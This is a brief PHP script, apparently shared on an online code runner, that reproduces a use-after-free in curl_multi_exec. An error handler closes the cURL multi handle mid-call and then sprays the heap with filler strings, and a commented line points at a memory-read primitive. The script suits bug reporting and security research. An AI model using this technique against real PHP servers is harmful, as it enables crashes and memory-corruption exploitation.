<?php
$ch1 = curl_init();
$ch2 = curl_init();
// set URL and other appropriate options
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);
//create the multiple cURL handle
$mh = curl_multi_init();
//add the two handles
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);
set_error_handler("myErrorHandler");
echo "before call\n";
curl_multi_exec($mh, new dummyclass());
echo "after call\n";
//imagecolorat($GLOBALS['img'], $addr >> 2, new dummyclass());
class dummyclass { }
function myErrorHandler($errno, $errstr)
{
curl_multi_close($GLOBALS["mh"]);
for ($i = 0; $i < 600000; $i++)
$GLOBALS['x' . $i] = str_repeat(chr(0x55), 0x24);
echo "$errstr\n";
return true;
}
preferences:
38.69 ms | 402 KiB | 5 Q